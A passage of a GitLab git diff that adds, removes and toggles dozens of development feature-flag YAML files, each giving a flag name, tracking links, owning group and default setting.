@@ -0,0 +1,7 @@
+---
+name: drop_license_management_artifact
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/dynamic_image_resizing.yml b/config/feature_flags/development/dynamic_image_resizing.yml
deleted file mode 100644
index 72547b7736e..00000000000
--- a/config/feature_flags/development/dynamic_image_resizing.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: dynamic_image_resizing
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37342
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/233704
-group: group::memory
-type: development
-default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/dynamic_image_resizing_owner.yml b/config/feature_flags/development/dynamic_image_resizing_owner.yml
new file mode 100644
index 00000000000..fd9881fba31
--- /dev/null
+++ b/config/feature_flags/development/dynamic_image_resizing_owner.yml
@@ -0,0 +1,7 @@
+---
+name: dynamic_image_resizing_owner
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40606
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241533
+group: group::memory
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/dynamic_image_resizing_requester.yml b/config/feature_flags/development/dynamic_image_resizing_requester.yml
new file mode 100644
index 00000000000..e491b14d27d
--- /dev/null
+++ b/config/feature_flags/development/dynamic_image_resizing_requester.yml
@@ -0,0 +1,7 @@
+---
+name: dynamic_image_resizing_requester
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37342
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/233704
+group: group::memory
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/efficient_counter_attribute.yml b/config/feature_flags/development/efficient_counter_attribute.yml
new file mode 100644
index 00000000000..a1b16be7ce8
--- /dev/null
+++ b/config/feature_flags/development/efficient_counter_attribute.yml
@@ -0,0 +1,7 @@
+---
+name: efficient_counter_attribute
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/export_lfs_objects_projects.yml b/config/feature_flags/development/export_lfs_objects_projects.yml
new file mode 100644
index 00000000000..6ef3317de8d
--- /dev/null
+++ b/config/feature_flags/development/export_lfs_objects_projects.yml
@@ -0,0 +1,7 @@
+---
+name: export_lfs_objects_projects
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/export_reduce_relation_batch_size.yml b/config/feature_flags/development/export_reduce_relation_batch_size.yml
new file mode 100644
index 00000000000..b32e2232933
--- /dev/null
+++ b/config/feature_flags/development/export_reduce_relation_batch_size.yml
@@ -0,0 +1,7 @@
+---
+name: export_reduce_relation_batch_size
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/file_identifier_hash.yml b/config/feature_flags/development/file_identifier_hash.yml
new file mode 100644
index 00000000000..681054cf7fa
--- /dev/null
+++ b/config/feature_flags/development/file_identifier_hash.yml
@@ -0,0 +1,7 @@
+---
+name: file_identifier_hash
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/filter_pipelines_search.yml b/config/feature_flags/development/filter_pipelines_search.yml
new file mode 100644
index 00000000000..57bf61552d8
--- /dev/null
+++ b/config/feature_flags/development/filter_pipelines_search.yml
@@ -0,0 +1,7 @@
+---
+name: filter_pipelines_search
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/force_autodevops_on_by_default.yml b/config/feature_flags/development/force_autodevops_on_by_default.yml
new file mode 100644
index 00000000000..352a6d40bd1
--- /dev/null
+++ b/config/feature_flags/development/force_autodevops_on_by_default.yml
@@ -0,0 +1,7 @@
+---
+name: force_autodevops_on_by_default
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/forking.yml b/config/feature_flags/development/forking.yml
new file mode 100644
index 00000000000..d7d0cb79562
--- /dev/null
+++ b/config/feature_flags/development/forking.yml
@@ -0,0 +1,7 @@
+---
+name: forking
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/forward_deployment_enabled.yml b/config/feature_flags/development/forward_deployment_enabled.yml
new file mode 100644
index 00000000000..51cc99e39ae
--- /dev/null
+++ b/config/feature_flags/development/forward_deployment_enabled.yml
@@ -0,0 +1,7 @@
+---
+name: forward_deployment_enabled
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/g_compliance_dashboard_feature.yml b/config/feature_flags/development/g_compliance_dashboard_feature.yml
new file mode 100644
index 00000000000..3390bc18810
--- /dev/null
+++ b/config/feature_flags/development/g_compliance_dashboard_feature.yml
@@ -0,0 +1,7 @@
+---
+name: g_compliance_dashboard_feature
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/generic_packages.yml b/config/feature_flags/development/generic_packages.yml
new file mode 100644
index 00000000000..99b89b196ea
--- /dev/null
+++ b/config/feature_flags/development/generic_packages.yml
@@ -0,0 +1,7 @@
+---
+name: generic_packages
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40045
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/239133
+group: group::release management
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/geo_snippet_repository_replication.yml b/config/feature_flags/development/geo_snippet_repository_replication.yml
new file mode 100644
index 00000000000..7d121191d6c
--- /dev/null
+++ b/config/feature_flags/development/geo_snippet_repository_replication.yml
@@ -0,0 +1,7 @@
+---
+name: geo_snippet_repository_replication
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38688
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/224168
+group: group::geo
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/git_push_create_all_pipelines.yml b/config/feature_flags/development/git_push_create_all_pipelines.yml
new file mode 100644
index 00000000000..62dbe9bb02f
--- /dev/null
+++ b/config/feature_flags/development/git_push_create_all_pipelines.yml
@@ -0,0 +1,7 @@
+---
+name: git_push_create_all_pipelines
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitaly_catfile-cache.yml b/config/feature_flags/development/gitaly_catfile-cache.yml
new file mode 100644
index 00000000000..1fdfacfb4d2
--- /dev/null
+++ b/config/feature_flags/development/gitaly_catfile-cache.yml
@@ -0,0 +1,7 @@
+---
+name: gitaly_catfile-cache
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitaly_deny_disk_access.yml b/config/feature_flags/development/gitaly_deny_disk_access.yml
new file mode 100644
index 00000000000..faf9bc6d71f
--- /dev/null
+++ b/config/feature_flags/development/gitaly_deny_disk_access.yml
@@ -0,0 +1,7 @@
+---
+name: gitaly_deny_disk_access
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitaly_enforce_requests_limits.yml b/config/feature_flags/development/gitaly_enforce_requests_limits.yml
new file mode 100644
index 00000000000..2e4aa4ab794
--- /dev/null
+++ b/config/feature_flags/development/gitaly_enforce_requests_limits.yml
@@ -0,0 +1,7 @@
+---
+name: gitaly_enforce_requests_limits
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitaly_mep_mep.yml b/config/feature_flags/development/gitaly_mep_mep.yml
new file mode 100644
index 00000000000..b657449a436
--- /dev/null
+++ b/config/feature_flags/development/gitaly_mep_mep.yml
@@ -0,0 +1,7 @@
+---
+name: gitaly_mep_mep
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitlab_ci_yml_preview.yml b/config/feature_flags/development/gitlab_ci_yml_preview.yml
new file mode 100644
index 00000000000..ea03b25874c
--- /dev/null
+++ b/config/feature_flags/development/gitlab_ci_yml_preview.yml
@@ -0,0 +1,7 @@
+---
+name: gitlab_ci_yml_preview
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/244905
+group: group::ci
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/gitpod.yml b/config/feature_flags/development/gitpod.yml
new file mode 100644
index 00000000000..148ea7294ba
--- /dev/null
+++ b/config/feature_flags/development/gitpod.yml
@@ -0,0 +1,7 @@
+---
+name: gitpod
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37985
+rollout_issue_url:
+group: group::editor
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/global_default_branch_name.yml b/config/feature_flags/development/global_default_branch_name.yml
new file mode 100644
index 00000000000..57b324a6da2
--- /dev/null
+++ b/config/feature_flags/development/global_default_branch_name.yml
@@ -0,0 +1,7 @@
+---
+name: global_default_branch_name
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/go_proxy.yml b/config/feature_flags/development/go_proxy.yml
new file mode 100644
index 00000000000..bde614dd84d
--- /dev/null
+++ b/config/feature_flags/development/go_proxy.yml
@@ -0,0 +1,7 @@
+---
+name: go_proxy
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/go_proxy_disable_gomod_validation.yml b/config/feature_flags/development/go_proxy_disable_gomod_validation.yml
new file mode 100644
index 00000000000..5e9671c66d5
--- /dev/null
+++ b/config/feature_flags/development/go_proxy_disable_gomod_validation.yml
@@ -0,0 +1,7 @@
+---
+name: go_proxy_disable_gomod_validation
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/grape_gitlab_json.yml b/config/feature_flags/development/grape_gitlab_json.yml
new file mode 100644
index 00000000000..ab98ed981c9
--- /dev/null
+++ b/config/feature_flags/development/grape_gitlab_json.yml
@@ -0,0 +1,7 @@
+---
+name: grape_gitlab_json
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/graphql_board_lists.yml b/config/feature_flags/development/graphql_board_lists.yml
new file mode 100644
index 00000000000..4e6bf000a8f
--- /dev/null
+++ b/config/feature_flags/development/graphql_board_lists.yml
@@ -0,0 +1,7 @@
+---
+name: graphql_board_lists
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/graphql_logging.yml b/config/feature_flags/development/graphql_logging.yml
new file mode 100644
index 00000000000..cd2a5b109e8
--- /dev/null
+++ b/config/feature_flags/development/graphql_logging.yml
@@ -0,0 +1,7 @@
+---
+name: graphql_logging
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/graphql_lookahead_support.yml b/config/feature_flags/development/graphql_lookahead_support.yml
new file mode 100644
index 00000000000..2c8825f309e
--- /dev/null
+++ b/config/feature_flags/development/graphql_lookahead_support.yml
@@ -0,0 +1,7 @@
+---
+name: graphql_lookahead_support
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/graphql_milestone_stats.yml b/config/feature_flags/development/graphql_milestone_stats.yml
new file mode 100644
index 00000000000..daa72031879
--- /dev/null
+++ b/config/feature_flags/development/graphql_milestone_stats.yml
@@ -0,0 +1,7 @@
+---
+name: graphql_milestone_stats
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/graphql_release_data.yml b/config/feature_flags/development/graphql_release_data.yml
new file mode 100644
index 00000000000..c30fbf7fe13
--- /dev/null
+++ b/config/feature_flags/development/graphql_release_data.yml
@@ -0,0 +1,7 @@
+---
+name: graphql_release_data
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/group_export_ndjson.yml b/config/feature_flags/development/group_export_ndjson.yml
new file mode 100644
index 00000000000..af495df2e48
--- /dev/null
+++ b/config/feature_flags/development/group_export_ndjson.yml
@@ -0,0 +1,7 @@
+---
+name: group_export_ndjson
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/group_import_export.yml b/config/feature_flags/development/group_import_export.yml
new file mode 100644
index 00000000000..8a49fb29e45
--- /dev/null
+++ b/config/feature_flags/development/group_import_export.yml
@@ -0,0 +1,7 @@
+---
+name: group_import_export
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/group_import_ndjson.yml b/config/feature_flags/development/group_import_ndjson.yml
new file mode 100644
index 00000000000..cf438abe8cb
--- /dev/null
+++ b/config/feature_flags/development/group_import_ndjson.yml
@@ -0,0 +1,7 @@
+---
+name: group_import_ndjson
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/group_level_integrations.yml b/config/feature_flags/development/group_level_integrations.yml
new file mode 100644
index 00000000000..8fc7da47ba1
--- /dev/null
+++ b/config/feature_flags/development/group_level_integrations.yml
@@ -0,0 +1,7 @@
+---
+name: group_level_integrations
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238575
+group: group::ecosystem
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/groups_tokens_optional_encryption.yml b/config/feature_flags/development/groups_tokens_optional_encryption.yml
new file mode 100644
index 00000000000..2c081e72e52
--- /dev/null
+++ b/config/feature_flags/development/groups_tokens_optional_encryption.yml
@@ -0,0 +1,7 @@
+---
+name: groups_tokens_optional_encryption
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml b/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml
new file mode 100644
index 00000000000..075f3e135ed
--- /dev/null
+++ b/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml
@@ -0,0 +1,7 @@
+---
+name: hide_jump_to_next_unresolved_in_threads
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/highlight_current_diff_row.yml b/config/feature_flags/development/highlight_current_diff_row.yml
new file mode 100644
index 00000000000..1133680c173
--- /dev/null
+++ b/config/feature_flags/development/highlight_current_diff_row.yml
@@ -0,0 +1,7 @@
+---
+name: highlight_current_diff_row
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/improved_mr_merged_at_queries.yml b/config/feature_flags/development/improved_mr_merged_at_queries.yml
index 9e717991a7d..bf4c8814540 100644
--- a/config/feature_flags/development/improved_mr_merged_at_queries.yml
+++ b/config/feature_flags/development/improved_mr_merged_at_queries.yml
@@ -4,4 +4,4 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39329
rollout_issue_url:
group: group::analytics
type: development
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/inactive_policy_condition.yml b/config/feature_flags/development/inactive_policy_condition.yml
new file mode 100644
index 00000000000..bf577fb3123
--- /dev/null
+++ b/config/feature_flags/development/inactive_policy_condition.yml
@@ -0,0 +1,7 @@
+---
+name: inactive_policy_condition
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/ingress_modsecurity.yml b/config/feature_flags/development/ingress_modsecurity.yml
new file mode 100644
index 00000000000..cf289bb3d45
--- /dev/null
+++ b/config/feature_flags/development/ingress_modsecurity.yml
@@ -0,0 +1,7 @@
+---
+name: ingress_modsecurity
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/instance_statistics.yml b/config/feature_flags/development/instance_statistics.yml
new file mode 100644
index 00000000000..212b7b39615
--- /dev/null
+++ b/config/feature_flags/development/instance_statistics.yml
@@ -0,0 +1,7 @@
+---
+name: instance_statistics
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40583
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241711
+group: group::analytics
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/invisible_captcha.yml b/config/feature_flags/development/invisible_captcha.yml
new file mode 100644
index 00000000000..ee38a9c657a
--- /dev/null
+++ b/config/feature_flags/development/invisible_captcha.yml
@@ -0,0 +1,7 @@
+---
+name: invisible_captcha
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/invite_email_experiment.yml b/config/feature_flags/development/invite_email_experiment.yml
new file mode 100644
index 00000000000..3797090724e
--- /dev/null
+++ b/config/feature_flags/development/invite_email_experiment.yml
@@ -0,0 +1,7 @@
+---
+name: invite_email_experiment
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/invite_your_teammates_banner_a.yml b/config/feature_flags/development/invite_your_teammates_banner_a.yml
new file mode 100644
index 00000000000..07aec532e16
--- /dev/null
+++ b/config/feature_flags/development/invite_your_teammates_banner_a.yml
@@ -0,0 +1,7 @@
+---
+name: invite_your_teammates_banner_a
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37658
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/231275
+group: group::expansion
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/issues.yml b/config/feature_flags/development/issues.yml
new file mode 100644
index 00000000000..6274767d4e1
--- /dev/null
+++ b/config/feature_flags/development/issues.yml
@@ -0,0 +1,7 @@
+---
+name: issues
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/json_limited_encoder.yml b/config/feature_flags/development/json_limited_encoder.yml
new file mode 100644
index 00000000000..3afed64b4cc
--- /dev/null
+++ b/config/feature_flags/development/json_limited_encoder.yml
@@ -0,0 +1,7 @@
+---
+name: json_limited_encoder
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/json_wrapper_legacy_mode.yml b/config/feature_flags/development/json_wrapper_legacy_mode.yml
new file mode 100644
index 00000000000..dc3da1867e9
--- /dev/null
+++ b/config/feature_flags/development/json_wrapper_legacy_mode.yml
@@ -0,0 +1,7 @@
+---
+name: json_wrapper_legacy_mode
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/junit_pipeline_screenshots_view.yml b/config/feature_flags/development/junit_pipeline_screenshots_view.yml
new file mode 100644
index 00000000000..d9f61b572be
--- /dev/null
+++ b/config/feature_flags/development/junit_pipeline_screenshots_view.yml
@@ -0,0 +1,7 @@
+---
+name: junit_pipeline_screenshots_view
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/lfs_check.yml b/config/feature_flags/development/lfs_check.yml
new file mode 100644
index 00000000000..39e7d9ba6e9
--- /dev/null
+++ b/config/feature_flags/development/lfs_check.yml
@@ -0,0 +1,7 @@
+---
+name: lfs_check
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/lfs_link_existing_object.yml b/config/feature_flags/development/lfs_link_existing_object.yml
new file mode 100644
index 00000000000..f38bb4525ec
--- /dev/null
+++ b/config/feature_flags/development/lfs_link_existing_object.yml
@@ -0,0 +1,7 @@
+---
+name: lfs_link_existing_object
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41770
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249246
+group: group::source code
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/limit_projects_in_groups_api.yml b/config/feature_flags/development/limit_projects_in_groups_api.yml
new file mode 100644
index 00000000000..571c02578d3
--- /dev/null
+++ b/config/feature_flags/development/limit_projects_in_groups_api.yml
@@ -0,0 +1,7 @@
+---
+name: limit_projects_in_groups_api
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/log_import_export_relation_creation.yml b/config/feature_flags/development/log_import_export_relation_creation.yml
new file mode 100644
index 00000000000..bfd4b27752b
--- /dev/null
+++ b/config/feature_flags/development/log_import_export_relation_creation.yml
@@ -0,0 +1,7 @@
+---
+name: log_import_export_relation_creation
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/maintenance_mode.yml b/config/feature_flags/development/maintenance_mode.yml
new file mode 100644
index 00000000000..8fba1216834
--- /dev/null
+++ b/config/feature_flags/development/maintenance_mode.yml
@@ -0,0 +1,7 @@
+---
+name: maintenance_mode
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/marginalia.yml b/config/feature_flags/development/marginalia.yml
new file mode 100644
index 00000000000..9fcfa061bff
--- /dev/null
+++ b/config/feature_flags/development/marginalia.yml
@@ -0,0 +1,7 @@
+---
+name: marginalia
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/merge_orchestration_service.yml b/config/feature_flags/development/merge_orchestration_service.yml
new file mode 100644
index 00000000000..134553e7344
--- /dev/null
+++ b/config/feature_flags/development/merge_orchestration_service.yml
@@ -0,0 +1,7 @@
+---
+name: merge_orchestration_service
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_red_head_comments_position_on_demand.yml b/config/feature_flags/development/merge_red_head_comments_position_on_demand.yml
new file mode 100644
index 00000000000..5effc83b53e
--- /dev/null
+++ b/config/feature_flags/development/merge_red_head_comments_position_on_demand.yml
@@ -0,0 +1,7 @@
+---
+name: merge_red_head_comments_position_on_demand
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_ref_auto_sync.yml b/config/feature_flags/development/merge_ref_auto_sync.yml
new file mode 100644
index 00000000000..cc5ea34eb0e
--- /dev/null
+++ b/config/feature_flags/development/merge_ref_auto_sync.yml
@@ -0,0 +1,7 @@
+---
+name: merge_ref_auto_sync
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_ref_auto_sync_lock.yml b/config/feature_flags/development/merge_ref_auto_sync_lock.yml
new file mode 100644
index 00000000000..d9724712869
--- /dev/null
+++ b/config/feature_flags/development/merge_ref_auto_sync_lock.yml
@@ -0,0 +1,7 @@
+---
+name: merge_ref_auto_sync_lock
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_draft_filter.yml b/config/feature_flags/development/merge_request_draft_filter.yml
new file mode 100644
index 00000000000..113194c2a18
--- /dev/null
+++ b/config/feature_flags/development/merge_request_draft_filter.yml
@@ -0,0 +1,7 @@
+---
+name: merge_request_draft_filter
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_rebase_nowait_lock.yml b/config/feature_flags/development/merge_request_rebase_nowait_lock.yml
new file mode 100644
index 00000000000..06cbcd3da07
--- /dev/null
+++ b/config/feature_flags/development/merge_request_rebase_nowait_lock.yml
@@ -0,0 +1,7 @@
+---
+name: merge_request_rebase_nowait_lock
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_reviewers.yml b/config/feature_flags/development/merge_request_reviewers.yml
new file mode 100644
index 00000000000..2180662b9df
--- /dev/null
+++ b/config/feature_flags/development/merge_request_reviewers.yml
@@ -0,0 +1,7 @@
+---
+name: merge_request_reviewers
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40488
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/245190
+group: group::source code
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/merge_request_short_pipeline_serializer.yml b/config/feature_flags/development/merge_request_short_pipeline_serializer.yml
new file mode 100644
index 00000000000..c24dd106547
--- /dev/null
+++ b/config/feature_flags/development/merge_request_short_pipeline_serializer.yml
@@ -0,0 +1,7 @@
+---
+name: merge_request_short_pipeline_serializer
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_widget_graphql.yml b/config/feature_flags/development/merge_request_widget_graphql.yml
new file mode 100644
index 00000000000..028553a47f8
--- /dev/null
+++ b/config/feature_flags/development/merge_request_widget_graphql.yml
@@ -0,0 +1,7 @@
+---
+name: merge_request_widget_graphql
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/merge_requests.yml b/config/feature_flags/development/merge_requests.yml
new file mode 100644
index 00000000000..05e8a301786
--- /dev/null
+++ b/config/feature_flags/development/merge_requests.yml
@@ -0,0 +1,7 @@
+---
+name: merge_requests
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/metrics_dashboard.yml b/config/feature_flags/development/metrics_dashboard.yml
new file mode 100644
index 00000000000..a252068aa9a
--- /dev/null
+++ b/config/feature_flags/development/metrics_dashboard.yml
@@ -0,0 +1,7 @@
+---
+name: metrics_dashboard
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/metrics_dashboard_exhaustive_validations.yml b/config/feature_flags/development/metrics_dashboard_exhaustive_validations.yml
new file mode 100644
index 00000000000..3e3a5b9de9a
--- /dev/null
+++ b/config/feature_flags/development/metrics_dashboard_exhaustive_validations.yml
@@ -0,0 +1,7 @@
+---
+name: metrics_dashboard_exhaustive_validations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40103
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241697
+group: group::apm
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/migrate_bio_to_user_details.yml b/config/feature_flags/development/migrate_bio_to_user_details.yml
new file mode 100644
index 00000000000..f54e45f9bd3
--- /dev/null
+++ b/config/feature_flags/development/migrate_bio_to_user_details.yml
@@ -0,0 +1,7 @@
+---
+name: migrate_bio_to_user_details
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/migrate_user_mentions.yml b/config/feature_flags/development/migrate_user_mentions.yml
new file mode 100644
index 00000000000..3388fb020ad
--- /dev/null
+++ b/config/feature_flags/development/migrate_user_mentions.yml
@@ -0,0 +1,7 @@
+---
+name: migrate_user_mentions
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/modifed_path_ci_variables.yml b/config/feature_flags/development/modifed_path_ci_variables.yml
new file mode 100644
index 00000000000..a72a5ae56e1
--- /dev/null
+++ b/config/feature_flags/development/modifed_path_ci_variables.yml
@@ -0,0 +1,7 @@
+---
+name: modifed_path_ci_variables
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/monaco_blobs.yml b/config/feature_flags/development/monaco_blobs.yml
new file mode 100644
index 00000000000..bb1215493d5
--- /dev/null
+++ b/config/feature_flags/development/monaco_blobs.yml
@@ -0,0 +1,7 @@
+---
+name: monaco_blobs
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/monaco_ci.yml b/config/feature_flags/development/monaco_ci.yml
new file mode 100644
index 00000000000..5d6ace8d8ad
--- /dev/null
+++ b/config/feature_flags/development/monaco_ci.yml
@@ -0,0 +1,7 @@
+---
+name: monaco_ci
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/mr_commit_neighbor_nav.yml b/config/feature_flags/development/mr_commit_neighbor_nav.yml
new file mode 100644
index 00000000000..5fcacbdd3fe
--- /dev/null
+++ b/config/feature_flags/development/mr_commit_neighbor_nav.yml
@@ -0,0 +1,7 @@
+---
+name: mr_commit_neighbor_nav
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/multi_select_board.yml b/config/feature_flags/development/multi_select_board.yml
new file mode 100644
index 00000000000..35718606d62
--- /dev/null
+++ b/config/feature_flags/development/multi_select_board.yml
@@ -0,0 +1,7 @@
+---
+name: multi_select_board
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/multiline_comments.yml b/config/feature_flags/development/multiline_comments.yml
new file mode 100644
index 00000000000..cb80d381e18
--- /dev/null
+++ b/config/feature_flags/development/multiline_comments.yml
@@ -0,0 +1,7 @@
+---
+name: multiline_comments
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/new_pipeline_form.yml b/config/feature_flags/development/new_pipeline_form.yml
new file mode 100644
index 00000000000..96c7268ded0
--- /dev/null
+++ b/config/feature_flags/development/new_pipeline_form.yml
@@ -0,0 +1,7 @@
+---
+name: new_pipeline_form
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/new_release_page.yml b/config/feature_flags/development/new_release_page.yml
new file mode 100644
index 00000000000..a17438ba949
--- /dev/null
